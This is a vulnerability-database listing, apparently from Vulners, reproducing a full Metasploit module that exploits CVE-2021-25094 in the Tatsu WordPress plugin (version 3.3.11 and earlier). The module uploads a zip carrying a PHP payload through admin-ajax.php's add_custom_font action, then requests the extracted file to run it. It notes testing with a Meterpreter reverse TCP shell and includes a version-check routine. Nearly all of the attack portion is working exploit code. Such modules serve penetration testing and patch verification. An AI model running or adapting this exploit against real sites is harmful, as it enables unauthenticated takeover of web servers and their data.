Lucene search
+L

📄 WordPress Tatsu 3.3.11 Remote Code Execution

🗓️ 25 Jun 2025 00:00:00Reported by Vincent Michel, msutovsky-r7Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 110 Views

Exploits CVE-2021-25094 in Tatsu plugin for unauthenticated remote code execution via PHP payload.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tatsu Wordpress Plugin RCE',
            'Description' => %q{
              This module adds exploit for CVE-2021-25094 - unauthenticated remote code execution in Tatsu Wordpress plugin <= 3.3.11. Module uploads malicious zip with PHP payload that gets executed in second part of exploit.
            },
            'Author' => [
              'Vincent Michel', # Vulnerability discovery
              'msutovsky-r7' # Metasploit module
            ],
            'References' => [
              ['CVE', '2021-25094'],
              ['EDB', '52260']
            ],
            'License' => MSF_LICENSE,
            'Privileged' => false,
            'Platform' => %w[php],
            'Arch' => [ARCH_PHP],
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2022-04-25',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
      end
    
      def create_zip
        zip_file = Rex::Zip::Archive.new
        @payload_file = '.' + Rex::Text.rand_text_alphanumeric(12) + '.php'
        zip_file.add_file(@payload_file, payload.encoded)
        zip_file.pack
      end
    
      def upload_malicious_zip
        zip_payload = create_zip
    
        boundary = Rex::Text.rand_text_alphanumeric(32).to_s
    
        data_post = "--#{boundary}\r\n"
        data_post << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        data_post << "add_custom_font\r\n"
        data_post << "--#{boundary}\r\n"
    
        data_post << "Content-Disposition: form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(12)}.zip\"\r\n\r\n"
        data_post << "#{zip_payload}\r\n"
        data_post << "--#{boundary}--\r\n"
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('wp-admin/admin-ajax.php'),
          'ctype' => "multipart/form-data; boundary=#{boundary}",
          'data' => data_post
        })
    
        fail_with Failure::Unknown, 'Unexpected response' unless res&.code == 200
        json_content = res.get_json_document
    
        fail_with Failure::PayloadFailed, 'Failed to upload payload' unless json_content.fetch('status', nil) == 'success'
    
        @zip_name = json_content.fetch('name', nil)
    
        fail_with Failure::UnexpectedReply, 'Cannot get uploaded name' unless @zip_name
      end
    
      def trigger_payload
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri('/wp-content/uploads/typehub/custom/', @zip_name.downcase + '/', @payload_file)
        })
      end
    
      def check
        return CheckCode::Unknown('Target not responding') unless wordpress_and_online?
    
        wp_version = wordpress_version
        print_status("Detected WordPress version: #{wp_version}") if wp_version
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('/wp-content/plugins/tatsu/changelog.md')
        })
    
        return CheckCode::Unknown('Could not find tatsu plugin') unless res&.code == 200
    
        changelog_body = res.body
    
        return CheckCode::Safe('Could not find tatsu plugin') if changelog_body.blank?
    
        return CheckCode::Detected('Tatsu plugin detected but it failed to get version') unless changelog_body.match(/v(\d\d?.\d\d?.\d\d?)/)
    
        version = Rex::Version.new(Regexp.last_match(1))
    
        return CheckCode::Appears("Found version #{version}") if version <= Rex::Version.new('3.3.11')
    
        return CheckCode::Safe('Patched version detected')
      end
    
      def exploit
        upload_malicious_zip
        trigger_payload
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jun 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 26.8
CVSS 3.18.1
EPSS0.83354
110